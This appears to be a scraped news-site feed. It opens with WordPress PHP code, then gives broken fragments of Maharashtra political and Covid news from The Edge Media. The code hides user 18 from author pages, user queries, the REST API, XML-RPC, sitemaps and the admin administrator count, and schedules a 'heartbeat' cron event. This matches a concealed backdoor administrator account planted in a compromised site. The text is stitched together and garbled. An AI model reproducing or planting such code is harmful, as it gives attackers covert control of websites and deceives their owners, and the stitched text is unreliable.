add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Sanjay Raut claims the BJP is raking up the ‘outsider’ card in preparation for the Uttar Pradesh assembly and the municipal elections in Mumbai appeared first on The Edge Media.
]]>In his weekly column ‘Rokhthok’ in the Sena publication ‘Saamana,’ Raut wrote that Thackeray did not specify any specific state while referring to migrants “but the BJP asserted that the CM meant North Indians.”
The post Sanjay Raut claims the BJP is raking up the ‘outsider’ card in preparation for the Uttar Pradesh assembly and the municipal elections in Mumbai appeared first on The Edge Media.
]]>The post Uddhav Thackeray urged the citizens and political parties to avoid crowds during celebrations appeared first on The Edge Media.
]]>Maharashtra’s daily tally of cases has been stable for quite some time now but capital city of Mumbai has been witnessing a sudden surge, the city reported 495 cases on Sunday, the highest since July 15.
The state is gearing up for Ganesh Chaturthi celebrations which is set to start later this week and Thackeray has cautioned citizens to avoid crowds and abide by proper Covid-19 preventative norms as cases rose after celebrations concluded last year. “There was a surge in Covid-19 cases after festivals last year. I request all to avoid crowding. Wearing a face mask is important even after vaccination,” he said on Sunday during an interaction with doctors.
Thackeray urged political parties to prioritize the well-being of citizens as festivals can be celebrated later when the pandemic is under control. “We can celebrate festivals later. Let us prioritise the lives and health of our citizens. The situation can go out of hand in view of the spike in daily cases,” Thackeray said in a statement. “Who would like to impose restrictions on festivals and religious programmes? But people’s lives are important,” he added.
“We have to avoid crowding…have patience. We should not be required to close the places which have been opened up now,” he said, adding, “people should know that the enemy is yet not completely defeated…the thick tail is still there.”
Thackeray also warned political parties for demanding temples be reopened across the state. “Do not agitate for reopening of temples but do it against Covid-19,” he said on Sunday without naming any particular political outfit.
The post Uddhav Thackeray urged the citizens and political parties to avoid crowds during celebrations appeared first on The Edge Media.
]]>The post Several Trains Canceled In Maharashtra Due To Heavy Rains appeared first on The Edge Media.
]]>People living in mountainous and landslide-prone regions of the Konkan region are being relocated, according to Maharashtra Chief Minister Uddhav Thackeray, who also professed sadness over the loss of human life in a landslide in Raigad district.
According to a message from the Chief Minister’s Office (CMO), CM Thackeray urged citizens to work with the local authorities in the migration of people of hazardous coastal regions.
The post Several Trains Canceled In Maharashtra Due To Heavy Rains appeared first on The Edge Media.
]]>